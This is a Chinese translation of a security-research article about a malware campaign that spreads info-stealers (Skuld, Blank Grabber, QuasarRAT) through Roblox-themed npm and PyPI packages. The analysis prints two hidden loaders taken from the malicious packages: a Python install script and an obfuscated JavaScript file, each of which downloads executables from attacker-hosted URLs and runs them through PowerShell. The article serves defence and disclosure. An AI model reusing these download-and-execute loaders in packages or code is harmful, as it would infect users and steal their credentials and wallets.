网络罪犯并非儿戏:Roblox模组中隐藏的恶意软件

攻击者正在超越熟悉的伎俩,利用玩家最喜欢的工具的关联性来传播恶意软件。

译自 Cybercriminals Are Not Playing Games: Malware Hiding in Roblox Mods,作者 Poppaea McDermott。

几十年来,投机的网络罪犯一直利用破解游戏或模组来向热情的游戏玩家传播恶意软件。随着威胁形势的发展,网络罪犯的策略也随之演变。

像Discord和Roblox这样的在线游戏平台拥有庞大而活跃的用户群,他们依赖开源库来创建机器人、插件、游戏作弊器和纹理包。攻击者利用恶意npm和PyPI软件包攻击这些社区,为非法经济利益进行无情的活动。

攻击者超越了诸如错字劫持(攻击者使用名称相似的软件包)之类的常用技巧,利用与游戏玩家最喜欢的工具的关联来分发恶意软件。他们越来越多地将软件包与相关的主题对齐,例如robloxmatchersolaraupgrade,在社区内部传播它们。

社区作为恶意软件载体

攻击者利用Discord、YouTube和论坛等社区平台的信任性质,欺骗缺乏经验的开发者和模组制作者安装定制的恶意软件包。

用户之间的文件共享很常见,自动化安全工具通常会错过嵌入在软件包中的恶意脚本。无论如何,参与游戏破解的用户倾向于将杀毒软件检测视为误报。游戏作弊器的安装指南通常鼓励用户禁用杀毒软件和实时保护,从而破坏大多数防止感染的安全措施。

Discord作为分发渠道

Discord频道和直接消息是进行社会工程的沃土。恶意行为者会伪装成社区成员,推广最终旨在窃取凭据和创建僵尸网络的载荷工具。

例如,寻求Solara(Roblox Lua脚本执行器)帮助的用户可能会被引导下载恶意npm或PyPI软件包。此操作可能会在其主机上部署远程访问木马(RAT)。

专门讨论Roblox模组的Subreddit包含此网络钓鱼途径的证据,一些用户正确地质疑不良行为者提供的软件包安装命令的有效性。下面,r/robloxhackers子Reddit中的用户询问npm软件包getsolarafixsolara的安全性,这两个软件包都是恶意的。

YouTube教程

YouTube视频是恶意软件分发的常用载体。教程可能会通过恶意链接承诺“无限Robux”,机器人会留下置顶评论来说服其他人相信其真实性。

YouTube视频(俄语翻译)引导Roblox模组制作者访问Google Drive托管的恶意软件。

GitHub问题和评论

与Roblox开发相关的GitHub存储库也是常见的目标。恶意行为者劫持合法项目的“问题”部分,在“错误修复”或“功能增强”中嵌入恶意链接。

RobloxPlayerLauncher – 持久的窃取信息活动

上面提到的Solara主题软件包是我们Stacklok公司自去年9月以来一直在追踪的一个持续的、跨语言的恶意活动的一部分。

针对Roblox用户的PyPI活动

该活动最初专门针对Roblox游戏“Da Hood”的玩家,这是该平台上最受欢迎的游戏之一。恶意软件包,例如antibyfrondahoodroinject,通过模仿Roblox开发工具(包括Byfron,该框架的反作弊系统)的链接来伪造可信度。

Imperva的一项调查揭示了一个YouTube频道和一个Discord服务器,它们宣传依赖于恶意软件包的作弊工具,这些软件包已被下载超过3000次。安装后,这些软件包将使用PowerShell下载并执行可疑的Windows可移植可执行文件(PE)。

由于代码和注释未经混淆处理,因此脚本的功能很清楚。恶意软件托管在一个攻击者控制的GitHub存储库中。以下是antibyfron软件包的__init__.py脚本中的Python代码;注释为原文。

import subprocess
import os
 
# Define the output path for the downloaded file
output_file = os.path.join(os.getcwd(), "zwerve.exe")
 
# Step 1: PowerShell command to download the file using curl.exe
download_command = f'curl.exe -L https://github[.]com/holdthatcode/e/raw/main/zwerve.exe -o "{output_file}"'
 
# Run the PowerShell command to download the file
download_result = subprocess.run(["powershell", "-Command", download_command], capture_output=True, text=True)
 
# Check if download succeeded and the file exists
if download_result.returncode == 0 and os.path.exists(output_file):
       # Step 2: Run the downloaded executable silently using the full path
       execute_command = f'Start-Process "{output_file}" -NoNewWindow -Wait'
       execute_result = subprocess.run(["powershell", "-Command", execute_command], capture_output=True, text=True)
else:
       print("File download failed or file not found.")

转变策略——转向NPM

到 10 月中旬,此次活动背后的威胁参与者将重点转向 Node.js 生态系统,发布了 Roblox 主题的 npm 包,例如 robloxmatchergetsolara.devupgrade-robloxsolaraupdaterrobloxbootstrapperxeno.dll

所有这些包的功能都相同——每个包都包含一个混淆的 JavaScript 文件,用于通过 PowerShell 加载其他 Windows 二进制文件。与 PyPI 样本的一个区别在于,它交付了两个或三个有效负载,而不是一个。

const urls = ["https://github[.]com/zvydev/code/raw/main/RobloxPlayerLauncher[.]exe", "https://github[.]com/zvydev/code/raw/main/cmd[.]exe"];
const outputFiles = [path.join(__dirname, "RobloxPlayerLauncher[.]exe"), path.join(__dirname, "cmd[.]exe")];
function downloadAndRun(_0x3b7236, _0x102edc) {
const _0x37a2f3 = "powershell -Command \"Invoke-WebRequest -Uri '" + _0x3b7236 + "' -OutFile '" + _0x102edc + "'\"";
const _0x421bc1 = "powershell -Command \"Start-Process '" + _0x102edc + "'\"";
exec(_0x37a2f3, (_0x3a523a, _0x3d32f7, _0x492c55) => {
if (_0x3a523a) {
console.error("Download error: " + _0x3a523a.message);
return;
}
[...]
});
}
urls.forEach((_0x2601bf, _0x4d4889) => {
downloadAndRun(_0x2601bf, outputFiles[_0x4d4889]);
});

Skuld 和 Blank Grabber 窃取程序

对下载的可执行文件的分析表明,有效负载 RobloxPlayerLauncher.exeSkuld 的一个变体,这是一种用 Golang 编写的规避性信息窃取程序,而 cmd.exeBlank Grabber,一个基于 Python 的信息窃取程序。两者都源自开源恶意软件项目,具有重叠的功能,例如通过 Discord Webhooks 或 Telegram 机器人收集凭据、加密货币钱包、浏览器历史记录和游戏平台会话。

尽管在整个活动中文件名和托管服务有所不同,但核心信息窃取程序菌株保持一致。

到 11 月,运营者已经放弃了 GitHub,转而使用 Replit 和 Cloudfare Tunnel 托管他们的工具,同时整合了像 QuasarRAT 这样的新有效负载,从而在受害者机器上启用持久的后门。最近的迭代简化了恶意软件的交付,只专注于 Skuld 窃取程序。

总结

一个针对 Roblox 用户的持续活动突显了网络犯罪分子如何利用活跃的游戏社区来扩大其攻击范围。这种策略绝非独一无二——类似的活动已经部署了 LunaGrabberQuasarRAT 甚至 勒索软件

为了应对这种持续存在的威胁,修改者必须严格验证软件包的真实性,警惕社会工程策略,并在与不受信任的来源的建议互动时谨慎行事。像 CodeGate(一个 AI 编码助手代理)这样的工具可以帮助开发人员识别和避免不安全的依赖项。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注